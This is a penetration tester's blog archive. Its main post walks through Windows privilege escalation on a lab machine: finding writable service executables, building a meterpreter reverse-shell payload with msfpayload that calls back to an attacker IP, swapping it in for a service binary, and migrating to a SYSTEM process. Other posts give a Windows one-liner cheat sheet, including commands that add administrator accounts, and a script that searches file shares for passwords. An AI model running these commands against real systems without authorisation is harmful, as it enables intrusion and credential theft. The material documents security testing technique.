Archive for the ‘windows’ Category

windows privilege escalation via weak service permissions

Saturday, March 24th, 2012

When performing security testing on a Windows environment, or any environment for that matter, one of the things you’ll need to check is if you can escalate your privileges from a low privilege user to a high privileged user. No matter what environment you are testing there are going to be a range or roles with varying privileges, for the most part on a local windows environment there going to be three roles / privileged users.

1. System
2. Administrator
3. Regular user

Most people would think administrator has the highest privilege but actually it’s the system account. A regular user is typically the most limited role which may be so limited that it can’t even install software. In the previous paragraph I mentioned “local windows environment” that’s because when it comes to a network or active directory environment you have to take other things into consideration. The scenario I’ll be going over involves a single install of a windows operating system.

So let’s say you’re performing  a security test on a system / environment where all you’re given is a low level privileged account but you want to try and escalate those privileges so that you can get “system” level privileges, what do you do? There are a number of routes you can take. Scott Sutherland has written a nice article on windows privilege escalation and some of the techniques that you can try. Also the guys over at insomniasec.com have put together a nice document as well that talks about windows privilege escalation. Last but certainly not least pentestmonkey has written a python script that will search the system for potential areas of privilege escalation and report back.

Obviously the technique I’m going to be discussing is leveraging windows services that have low or weak permissions. For those that aren’t aware a windows service is a process that is ran in the background and a regular user would never know that this process is running unless they specifically checked for it, meaning there is no “window” or GUI associated with a service. But a service is just like a process in the fact that it’s an executable. You can determine all the services on your machine by using the “wmic” command.

wmic service list brief

Your output should be similar to below, I’ve snipped the output for brevity.

... snip ...

1077      WMPNetworkSvc                   0          Manual     Stopped  OK

1077      WPCSvc                          0          Manual     Stopped  OK

0         WPDBusEnum                      0          Manual     Stopped  OK

0         wscsvc                          752        Auto       Running  OK

0         WSearch                         2140       Auto       Running  OK

0         wuauserv                        856        Auto       Running  OK

First column is the exit code, second column is the name of the service, third column is the process ID (PID) of the service, fourth column states how the service is to be started (start mode), fifth column states if the process is running (state), and the last column gives the status of the service itself. You can also right click on your taskbar, same bar as the start menu, then select task manager. Within the task manager you can select the “services” tab to see this same information, keep in mind there is no services tab within the task manager for XP for this scenario I’m using windows 7.

So now that you know how to determine what services are available and running on a particular machine how can we determine if they have “weak permissions”? By weak permissions I mean the folder where the service EXE is allows “write” access. Having write access allows me to replace that executable with my malicious executable, start the service and voila I’ve got access. That’s it in a nutshell but let’s walk through the steps to quickly determine which services are vulnerable and how to attack that vulnerable weak service permission.

On a windows machine there can be a ton of services, going through each folder where the service executable is located, right clicking and determining the permission can be a pain in the butt. First thing we’ll need to do is run a couple of commands to easily pull all the permissions for all the services.

for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> c:\windows\temp\permissions.txt
for /f eol^=^"^ delims^=^" %a in (c:\windows\temp\permissions.txt) do cmd.exe /c icacls "%a"

The first command uses wmic to list the services, looks for the full path of the executable, filters out system32 paths, and then dumps that output to a text file. The second command parses that text file getting rid of some junk in the path name then does the icacls command on that path to determine the permissions on that service executable. A snippet of the output you’ll see on the command line is below.

" Users\homer>cmd.exe /c icacls "C:\Windows\Microsoft.NET\Framework\v4.0.30319\SMSvcHost.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\SMSvcHost.exe  BUILTIN\IIS_IUSRS:(I)(RX)
NT AUTHORITY\SYSTEM:(I)(F)
BUILTIN\Administrators:(I)(F)
BUILTIN\Users:(I)(RX)

Successfully processed 1 files; Failed processing 0 files

c:\Users\homer>cmd.exe /c icacls "C:\Program Files\Common Files\Microsoft Shared\Source Engine\OSE.EXE"
C:\Program Files\Common Files\Microsoft Shared\Source Engine\OSE.EXE BUILTIN\Users:(I)(F)
NT AUTHORITY\SYSTEM:(I)(F)
BUILTIN\Administrators:(I)(F)
WIN-B5JHUDECH2P\homer:(I)(F)

Successfully processed 1 files; Failed processing 0 files

c:\Users\homer>cmd.exe /c icacls "C:\Program Files\Common Files\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE"
C:\Program Files\Common Files\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE NT AUTHORITY\SYSTEM:(I)(F)
BUILTIN\Administrators:(I)(F)
BUILTIN\Users:(I)(RX)

Successfully processed 1 files; Failed processing 0 files

For my particular commands I’ve excluded service executables that live in c:\windows\system32 folder because more than likely those folders have the proper permissions because they came packaged with windows. The services I’m more interested in are third party applications because they get installed by a user and either the user improperly configures the folder permissions or during the install the application misconfigures the folder permissions. So this is the main reason why I filter out c:\windows\system32 but if you wanted to include that simply remove the system32 find statement from the command.

The output of the icacls command can be a little confusing but what you want to look for is if “BUILTIN\Users” have full access which will be designated as “(F)”. If you have full access to the folder where the service executable lives then you can replace the service executable with your own malicious service executable. So when the service starts, either at boot automatically or manually, your malicious executable will run hopefully giving you full access to the device. So my snippet of output actually has a  service with weak permissions which can also be seen on line 17 in the output above.

C:\Users\homer>cmd.exe /c icacls "C:\Program Files\Common Files\Microsoft Shared\Source Engine\OSE.EXE"
C:\Program Files\Common Files\Microsoft Shared\Source Engine\OSE.EXE BUILTIN\Users:(F)

The “Source Engine” folder is a standard folder for windows 7 and out of the box has the proper permissions, meaning a regular user will not have write access to that folder. For this demonstration I’ve manually modified the permissions of the “Source Engine” folder to highlight the effect of improper permissions. So now that you’ve found a folder of a service that allows the write permission it’s time to insert / upload our malicious executable. The most convenient way I’ve found is using the msfpayload functionality within metasploit. For the uninitiated and overwhelmed folks that try to deal with metasploit and msfpayload it might just be best to use backtrack. Just grab backtrack which comes with everything installed and ready to go. I’m not going to go through all of the steps of getting metasploit up and running but if you have any troubles feel free to email me (travisaltman@gmail.com) or post a question in the comments. In backtrack I issue the following commands to create a malicious executable.

root@bt:~# ifconfig eth1
eth1      Link encap:Ethernet  HWaddr 00:0c:29:11:1e:53
inet addr:192.168.134.135  Bcast:192.168.134.255  Mask:255.255.255.0
inet6 addr: fe80::20c:29ff:fe11:1e53/64 Scope:Link
UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
RX packets:9227 errors:0 dropped:0 overruns:0 frame:0
TX packets:396 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:650604 (650.6 KB)  TX bytes:123409 (123.4 KB)
Interrupt:19 Base address:0x2024

root@bt:~# cd /pentest/exploits/framework
root@bt:/pentest/exploits/framework# msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.134.135 lport=80 X > exploit.exe
Created by msfpayload (http://www.metasploit.com).
Payload: windows/meterpreter/reverse_tcp
Length: 290
Options: {"LHOST"=>"192.168.134.135", "lport"=>"80"}
root@bt:/pentest/exploits/framework#

The command on line one is simply trying to determine the IP address of our machine (ifconfig command) and line 3 states that our attacking IP address is 192.168.134.135, we’ll need this information to create our malicious executable. The next command is on line 12 where you change directories (cd) to the location of the msfpayload command. Line 13 is the most important command which is the actual command we use to create our malicious executable. This command creates a meterpreter payload and the lhost and lport are parameters we set when creating the payload. The lhost is from the output of ifconfig and you can specify any port you like, you don’t have to include lport because by default it’s 4444. You don’t need to know details about meterpreter for now think of it as a windows command prompt on steroids. Finally we use the “> exploit.exe” to create the malicious executable in the current directory.

Now you have to get that exploit.exe over to your target windows machine. I’ll leave this up to you but if you run the python simple http server in that current directory then all you have to do on the windows machine is open up internet explorer put in the IP address of your attack machine and download exploit.exe. Next put exploit.exe into the folder with the weak permissions in this case C:\Program Files\Common Files\Microsoft Shared\Source Engine\OSE.EXE. You should now have something like this.

Next rename the original ose.exe to something different and name exploit.exe to ose.exe

So now we’ve replaced the original executable with our malicious executable next we’ll need to fire up metasploit so that it can accept our connection once we run our new executable. So head over to your Linux box and run the msfconsole command.

root@bt:/pentest/exploits/framework#./msfconsole

You should now have a “msf” console, next run the following commands.

msf > use exploit/multi/handler
msf  exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf  exploit(handler) > set lhost 192.168.134.135
lhost => 192.168.134.135
msf  exploit(handler) > set lport 80
lport => 80
msf  exploit(handler) >

At this point it’s always a good idea to do the “show options” command to make sure everything is set up correctly.

msf  exploit(handler) > show options

Module options (exploit/multi/handler):

Name  Current Setting  Required  Description
----  ---------------  --------  -----------

Payload options (windows/meterpreter/reverse_tcp):

Name      Current Setting  Required  Description
----      ---------------  --------  -----------
EXITFUNC  process          yes       Exit technique: seh, thread, process, none
LHOST     192.168.134.135  yes       The listen address
LPORT     80               yes       The listen port

Exploit target:

Id  Name
--  ----
0   Wildcard Target

If everything checks out then you’re ready to go, now just type “exploit”. This will wait until we run the executable on the target machine but when we do it will give us back our meterpreter command prompt.

msf  exploit(handler) > exploit

[*] Started reverse handler on 192.168.134.135:80
[*] Starting the payload handler...

Now on the target windows machine we’ll need to start the service which will run our malicious executable then connect back to our attack machine giving us a command prompt. So run the wmic command below to start the service.

C:\Users\homer>wmic service ose call startservice

You should see similar output when you run this command.

Executing (\\WIN-B5JHUDECH2P\ROOT\CIMV2:Win32_Service.Name="ose")->startservice()

Once you’ve started the service now it’s time to hop back over to your metasploit command prompt to see if we get our meterperter command prompt, you should see the following.

[*] Sending stage (752128 bytes) to 192.168.134.134
[*] Meterpreter session 1 opened (192.168.134.135:80 -> 192.168.134.134:49173) at 2012-03-22 23:18:56 -0400

meterpreter >

Anytime you get a meterpreter command prompt back that’s usually a win but wait everything is not as it seems. After about 30 – 40 seconds I see that my meterpreter session ended.

[*] Meterpreter session 1 closed.  Reason: Died

Back on the windows machine there’s also some output on the command prompt.

Method execution successful.
Out Parameters:
instance of __PARAMETERS
{
ReturnValue = 7;
};

The return value of 7 means that the request timed out. So bummer we got this far had a meterpreter prompt, which gives us lots of post exploitation goodness, but lost everything. Don’t throw in the towel there is a way around this situation. During those 30 – 40 seconds that we have the meterpreter command prompt we can migrate to another process. The concept of migrating is exactly what it sounds like, instead of hooking into our ose.exe malicious executable service we can hop to another process that is already running with system privileges. First thing you’ll want to do is list all the processes running on the windows machine to determine the PID of a process that we can migrate to, once again wmic to the rescue.

wmic process list brief | find "winlogon"

Here you’ll want to determine the PID of the winlogon.exe process and the fourth column of this output is the PID of the process. Winlogon.exe is a popular executable to migrate to because it’s always present and runs as the system user. You could easily migrate to another process that runs as system and to determine this you can run the task manager and look for the user that is associated with the process. If at first you don’t see this make sure to click “show process from all users”. Once you have the PID of the winlogon.exe restart the service by running the wmic service command, ose.exe in this case, then quickly migrate to the winlogon.exe PID within meterpreter. Below is the command within meterpreter to migrate to another process.

meterpreter > migrate 460
[*] Migrating to 460...
[*] Migration completed successfully.
meterpreter >

Now we’ve successfully migrated to a stable process as the system user with a restricted user, this was our ultimate goal. We can determine our current privilege within meterpreter with the following command.

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >

At this point you have full control of the operating system and you can leverage all the post exploitation goodness that you can get your hands on. I don’t want to go into all the options and features of what to do once you’ve gained system access to a windows device I’ll leave that to other folks or a different discussion.

There is one other thing to note about escalating privileges on a windows device. Meterpreter has an option to “getsystem” meaning it tries to get system privileges. The getsystem command is only going to work in a handful of scenarios. The two main ways it accomplishes this task is via an unpatched machine or you already have administrative privileges. In the scenario I’ve described we don’t have admin privileges and our box is fully patched hence the reason I’m describing a technique of looking for services with weak permissions. A service that allows full control by a regular user is a misconfiguration so there is no “patch” for this scenario where we can get system privileges.

Let’s take a closer look at the getsystem command, we can do this by simply issuing the command below inside the meterpreter prompt.


meterpreter > getsystem -h
Usage: getsystem [options]

Attempt to elevate your privilege to that of local system.

OPTIONS:

-h        Help Banner.
-t <opt>  The technique to use. (Default to '0').
0 : All techniques available
1 : Service - Named Pipe Impersonation (In Memory/Admin)
2 : Service - Named Pipe Impersonation (Dropper/Admin)
3 : Service - Token Duplication (In Memory/Admin)
4 : Exploit - KiTrap0D (In Memory/User)

Options 1-3 all require admin privileges, which we don’t have, and option 4 will not work if the system is patched for the kitrap0d exploit. Let’s just verify that the “getsystem” command within meterpreter will not work if we don’t leverage something like a weak service permission. If you still have your meterpreter prompt go ahead and exit out.


meterpreter > exit
[*] Shutting down Meterpreter...

[*] Meterpreter session 2 closed.  Reason: User exit
msf  exploit(handler) >

Now instead of launching our malicious executable from the OSE service let’s execute exploit.exe, that we moved over earlier to our target windows machine, as a regular user. I saved my exploit.exe on the desktop. Before running exploit.exe as a regular user we need to go back to Linux and start our handler.


msf  exploit(handler) > exploit

[*] Started reverse handler on 192.168.134.135:80
[*] Starting the payload handler...

Now on our windows target machine let’s run our exploit.exe


c:\Users\homer\Desktop>exploit.exe

c:\Users\homer\Desktop>

Once we run exploit.exe on our windows target machine you should get back a meterpreter prompt back.


[*] Sending stage (752128 bytes) to 192.168.134.134
[*] Meterpreter session 3 opened (192.168.134.135:80 -> 192.168.134.134:49175) at 2012-03-23 00:29:29 -0400

meterpreter >

Now let’s try the “getsystem” command and see what happens.

meterpreter > getsystem

Here it just hangs and doesn’t do anything, after about a minute it will finally error out giving the following output.


meterpreter > getsystem
[-] Error running command getsystem: Rex::TimeoutError Operation timed out.
meterpreter >

So the getsystem command didn’t work. This is to be expected because the user (homer is our user) that executed our exploit.exe is a regular user and our windows box is up to date with all the latest patches. If we go back to our windows machine we’ll see the following error message.

This error is generated because the kitrap0d exploit fails and the exploit fails because the windows box is up to date with all the latest patches. When you don’t have admin and the windows box is up to date there is only a handful of options to escalate your privileges and testing for weak permissions is one of those avenues. Going from regular user to a system user can be difficult if everything is properly locked down but going from an admin user to the system user is not that big of a deal. The sysinternals psexec.exe is another powerful tool every pentester should have in his tool bag. Using psexec as an admin user one can easily become the system user with the “-s” option so if you wanted a command prompt with system level privileges all you would have to do is run the following command.

c:\psexec.exe -s cmd.exe

After this you’ll be presented with a command prompt with system level privileges. I mention psexec just to show you how easy it is to become the system user as long as you’re an admin user. The “-s” option of psexec would not work as a regular user only an admin user.

To wrap this all up I simply wanted to highlight one way of escalating your privilege on a windows device. This is simply one method to escalate privileges, there are many like it but this is the one I’m describing. This method is my best friend. It is my life. I must master it as I must master my life. Oh sorry, didn’t mean to go all full metal jacket there. So yes this is one technique and tricks like “getsystem” within meterpreter are handy but keep in mind their approaches and how they are trying to achieve privilege escalation.

If you have any feedback about this topic please leave comments below and if you have any other interesting ways of escalating privileges I would love to hear about it. If you slugged your way through this entire article congrats and if you see areas where I could improve please help a brother by pointing out areas where I could improve, thanks.

One liner commands for windows – cheat sheet

Tuesday, October 4th, 2011

Remotely determine logged in user

wmic /node:remotecomputer computersystem get username

List running processes

wmic process list brief

Kill a process

wmic process where name="cmd.exe" delete

Determine open shares

net share
wmic share list brief

Determine IP address

ipconfig

Get a new IP address

ipconfig /release
ipconfig /renew

Remotely display machine’s MAC address

wmic /node:machinename nic get macaddress

Remotely list running processes every second

wmic /node:machinename process list brief /every:1

Remotely display System Info

wmic /node:machinename computersystem list full

Disk drive information

wmic diskdrive list full
wmic partition list full

Bios info

wmic bios list full

List all patches

wmic qfe

Look for a particular patch

wmic qfe where hotfixid="KB958644" list full

Remotely List Local Enabled Accounts

wmic /node:machinename USERACCOUNT WHERE "Disabled=0 AND LocalAccount=1" GET Name

Start a service remotely

wmic /node:machinename 4 service lanmanserver CALL Startservice
sc \\machinename start lanmanserver

List services

wmic service list brief
sc \\machinename query

Disable startup service

sc config example disabled

List user accounts

wmic useraccount list brief

Enable RDP remotely

wmic /node:"machinename 4" path Win32_TerminalServiceSetting where AllowTSConnections=“0” call SetAllowTSConnections “1”

List number of times a user logged on

wmic netlogin where (name like "%adm%") get numberoflogons

Query active RDP sessions

qwinsta /server:192.168.1.1

Remove active RDP session ID 2

rwinsta /server:192.168.1.1 2

Remotely query registry for last logged in user

reg query "\\computername\HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WinLogon" /v DefaultUserName

List all computers in domain “blah”

dsquery computer "OU=example,DC=blah" -o rdn -limit 6000 &gt; output.txt

Reboot

shutdown /r /t 0

Shutdown

shutdown /s /t 0

Remotely reboot machine

shutdown /m \\192.168.1.1 /r /t 0 /f

Copy entire folder and its contents from a remote source to local machine

xcopy /s \\remotecomputer\directory c:\local

Find location of file with string “blah” in file name

dir c:\ /s /b | find "blah"

Spawn a new command prompt

start cmd

Determine name of a machine with known IP

nbtstat -A 192.168.1.1

Find directory named blah

dir c:\ /s /b /ad | find "blah"

Command line history

F7

Determine the current user (aka whoami Linux equivalent)

echo %USERNAME%

Determine who is apart of the administrators group

net localgroup administrators

Add a user where travis is the username and password is blah

net user travis blah /add

Add user travis to administrators group

net localgroup administrators travis /add

List user accounts

net user

Map a network share with a given drive letter of T:

net use T: \\serverNameOrIP\shareName

List network connections and the programs that are making those connections

netstat -nba

Display contents of file text.txt

type text.txt

Edit contents of file text.txt

edit text.txt

Determine PC name

hostname

Run cmd.exe as administrator user

runas /user:administrator cmd

Uninstall a program, Symantec in this case ;-}

wmic product where “description=’Symantec’ ” uninstall

Determine whether a system is 32 or 64 bit

wmic cpu get DataWidth /format:list

Powershell one liner download file

(new-object System.Net.WebClient).Downloadfile("http://example.com/file.txt", "C:\Users\Travis\file.txt")

Information about OS version and other useful system information

systeminformation

Startup applications

wmic startup get caption,command

Recursively unzip all zip folders, you’ll need unzip.exe for this

FOR /R %a (*.zip) do unzip -d unzipDir "%a"

Search windows open shares with python

Friday, September 2nd, 2011

It’s rare during a penetration test that I actually exploit a vulnerability to gain more information. Newcomers to my filed will often use the term “network security”. I don’t care about the network, have the network for all I care. What I’m more concerned about is the information inside the network. The better way to describe it is “information security”. Performing penetration tests one has to keep that in mind, yea it’s fun to exploit some user that’s running an old version of war-ftp but if that user doesn’t yield sensitive information then who cares to some extent.

I often see that professional penetration testers will highlight an open windows share that can be read or written to by everyone. They will often highlight other shares that are accessible by a large group such as Authenticated users. I don’t want to scoff at these types of open shares as they should be investigated by the business owner that created the open shares. The main thing to consider is what information lies within those open shares. Open shares are usually created for a reason, so that users easily share information. This is not bad unless the information in those shares is secret / classified material. To check for this possible sensitive information one would have to search all the files and folders in that share. Now you can use the cute little dog search feature inside of windows explorer to look for this information but using that your hands are somewhat tied. The search feature inside windows explorer actually does a nice job but if you wanted to automate the process to look at multiple shares and search for multiple terms then you’re out of luck. Because of this I wanted to script something that would automate the process. Powershell could have been an option but because I’m already familiar with python I stuck to what I know. This means that in order to run the script you’ll have to have python installed on windows. I could have written the script to work in Linux but that would have meant using cifs to map drives which seemed like more of a headache then just using python on windows.

You’ll need to open up a windows command prompt to run the script and it’s a good idead to add Python to the windows path. So the script takes two arguments. The first argument is the file containing all the shares that you want to search. The second argument is the file that contains all the terms you want to search for. So to run the script you would issue a command similar to below, where searchShares.py is the name of the python script.

python.exe  searchShares.py  shares.txt  searchTerms.txt

Your shares.txt file should look similar to below.

\\one\two
\\three\four\five
\\six\seven\eight\nine

Your searchTerms.txt file should look similar to below.

secret
password
username

In the example above the term “secret” will be recursively searched in all three shares. Then “password” will be recursively searched in all three shares, then so on and so on. The script will output any file, file name, or folder name that matches any of the search terms. Currently the script will read each file in binary format which means if it comes across a word document file (such as document.doc) it doesn’t open / read the file like microsoft word would. The current script reads each line of the binary file looking for your search term. Reading a text file as binary seems to work fine but reading in microsoft office documents as binary have different results. One thing I’ve noticed in my testing is that generally speaking it does just fine searching through a *.doc file but has trouble searching through a *.docx file. Binary searching is not ideal but it’s my current solution. Python has the capability to open microsoft office documents in a more native format but for my first go round I haven’t implemented that solution.

Once you run the script you will see output similar to below.

C:\temp>python searchShares.py shares.txt searchTerms.txt

Walking directory \\192.168.99.184\test

Found \\192.168.99.184\testtest.txt
Found \\192.168.99.184\testTravisAltmanResume.doc
Found \\192.168.99.184\test\onewordDoc1.docx
Found \\192.168.99.184\test\one\twopasswords.txt
Found \\192.168.99.184\test\one\two\threewordDoc2.docx
Searching file \\192.168.99.184\test\test.txt for term secret

Searching file \\192.168.99.184\test\TravisAltmanResume.doc for term secret

Searching file \\192.168.99.184\test\one\wordDoc1.docx for term secret

Searching file \\192.168.99.184\test\one\two\passwords.txt for term secret

Searching file \\192.168.99.184\test\one\two\three\wordDoc2.docx for term secret

Searching file \\192.168.99.184\test\test.txt for term password

Searching file \\192.168.99.184\test\TravisAltmanResume.doc for term password

Searching file \\192.168.99.184\test\one\wordDoc1.docx for term password

Searching file \\192.168.99.184\test\one\two\passwords.txt for term password

Searching file \\192.168.99.184\test\one\two\three\wordDoc2.docx for term password

Searching file \\192.168.99.184\test\test.txt for term username
Searching file \\192.168.99.184\test\TravisAltmanResume.doc for term username
Searching file \\192.168.99.184\test\one\wordDoc1.docx for term username
Searching file \\192.168.99.184\test\one\two\passwords.txt for term username
Searching file \\192.168.99.184\test\one\two\three\wordDoc2.docx for term username

This output on the command prompt is to given as a verbose message so that you know what’s going on with the script. The output on the command prompt will not tell you if it found a search term. The results of your searching is placed in a text file called output.txt located in the current directory. The content of output.txt should look similar to the following.

=== Directories or file names matching search criteria ===

\\192.168.99.184\test\one\two\passwords.txt

=== Files matching search criteria ===

found secret in file \\192.168.99.184\test\one\two\passwords.txt
found password in file \\192.168.99.184\test\one\two\passwords.txt

So you can see that it matches the file name as well as the contents of the file. One thing to keep in mind is that this script can take a while to run. There two factors that control how fast it runs, 1) Speed of the network and 2) Size (GB, MB, etc) of the share. It works best when your network is local and not in another city. The biggest factor is going to be the size of the share. Running this script on a major file sahre that is say 800 GB in size will take a very long time. Keep in mind you can specify specific directories, so instead of searching in the root share such as \\share\one maybe it’s a better idea to searh in \\share\one\two\three. So keep these factors in mind when running the script. Below is the script, simply cut and paste into your text editor of choice and save as searchShares.py


import os
import sys
import re

output = open('output.txt', 'a')
output.write('\n')
fileList = []
shareList = open(sys.argv[1])
eachShare = shareList.readlines();
for shares in eachShare:
    path = shares.rstrip('\r\n')
    print '\nWalking directory ' + path + '\n'
    for root, subFolders, files in os.walk(path):
        #print 'Indexing ' + root + '\n'
        for file in files:
            fileList.append(os.path.join(root,file))
            print 'Found ' + root + file
keywords = open(sys.argv[2])
searchTerm = keywords.readlines();
output.write('=== Directories or file names matching search criteria ===\n')
for term in searchTerm:
    strip = term.rstrip('\r\n')
    if any(strip in s for s in fileList):
        matching = [s for s in fileList if strip in s]
        for item in matching:
            output.write('\n' + item)
output.write('\n\n=== Files matching search criteria ===\n\n')
for term in searchTerm:
    strip = term.strip('\r\n')
    for item in fileList:
        print 'Searching file ' + item + ' for term ' + term
        searchFile = open(item, 'rb')
        for line in searchFile:
            if re.search(strip, line, re.IGNORECASE):
                output.write('found ' + strip + ' in file ' + item + '\n')
                break
    searchFile.close()
output.close()

Let me know if this works / doesn’t work and also let me know if you have any suggestions on how to make it better. One thing I might do in the future is to limit the types of files it searches to say only .txt, .doc, .xls, etc. Happy hunting for information on shares.

Search an IP range via the command line

Saturday, September 5th, 2009

So how do you manipulate a list of IP’s via the command line? Well there are several ways to go about this but I’ll present the way I went about it.

In my scenario I had a range of IP’s that I needed to extract/exclude out of a list of IP’s. This task needed to be done on a Windoze machine, I do most of my scripting on a Linux box, so I was trying to rely on the findstr command. Trying to use the findstr command to search, extract, or manipulate a list of IP’s will make you crazy. Now I’m sure there’s way smarter people out there that can craft a simple one line findstr command to hack and slash on an IP list but I’m not one of those people. I also tried to utilize some regular expression magic to manipulate an IP range. Google has this regular expression generator specifically for IP ranges, which seems neat at first but I couldn’t get it to work within findstr.

After no luck with findstr I was gonna turn to my old friend grep. Now for those that don’t know grep is a pattern / regular expression matching command within Linux. Grep has the ability to search for patterns within directories and files for a specific string (e.g. IP addresses). There is a grep Windows executable with basically the same functionality but it couldn’t handle Google’s regular expression either. After burning through two different programs to perform this task I was almost at a lost. My coworker reminded me of awk, how could I forget. Awk is a native program within Linux but you can download an exe version of the program. There are different flavors of awk (gawk and mawk) and different programmers that try and port over awk. I tried some awk.exe’s and some gawk.exe’s but I had the best success with mawk.exe, you can grab mawk.exe here. So enough yip yapping let’s walk through the solution. Below is a sample list of IP’s that we’ll hack and slash on, let’s assume these IP’s are in a file called IPlist.txt.

192.168.0.1
192.168.0.2
192.168.0.3
192.168.0.4
192.168.0.5
192.168.0.6
192.168.0.7
192.168.0.8
192.168.0.9
192.168.0.10
192.168.0.11
192.168.0.12
192.168.0.13
192.168.0.14
192.168.0.15
192.168.0.16
192.168.0.17
192.168.0.18
192.168.0.19
192.168.0.20
192.168.5.1
192.168.5.2
192.168.5.3
192.168.5.4
192.168.5.5
192.168.5.6
192.168.5.7
192.168.5.8
192.168.5.9
192.168.5.10
192.168.5.11
192.168.5.12
192.168.5.13
192.168.5.14
192.168.5.15
192.168.5.16
192.168.5.17
192.168.5.18
192.168.5.19
192.168.5.20

So let’s say we wanted to extract or exclude the range 192.168.0.5-192.168.0.15, you would use the mawk command below.

mawk "BEGIN {FS='.'}; $3&lt;0 || $3&gt;0 || ($3==0 &amp;&amp;($4&lt;5 || $4&gt;15)) {print $0}" IPlist.txt

Let me explain the command above. BEGIN simply processes the text before mawk starts munching. FS stands for field separator, here we are telling mawk that our filed separator is period (surrounded by single quotes). The $3 is basically a variable calling the 3rd field, in our case it’s the third number in our IP address. The || means “or”. The == is to determine is something is equivalent. The && is “and”. The $4 is the 4th number in our IP address because it’s the 4th field. So the command reads like this: separator is a period, we want the 3rd number to be less than zero or greater than zero or equal to 3 and we want the 4th number to be less than 5 or greater than 15. The $0 represents the entire line so the print statement is just printing out the entire line that matches our criteria. Let’s look at a similar example, say we want to extract 192.168.5.10-18.

mawk "BEGIN {FS='.'}; $3&lt;5 || $3&gt;5 || ($3==5 &amp;&amp;($4&lt;10 || $4&gt;18)) {print $0}" IPlist.txt

I’m sure there are probably other ways to go about performing the same task but this one works for me. Now feel free to go ahead and mawk it out.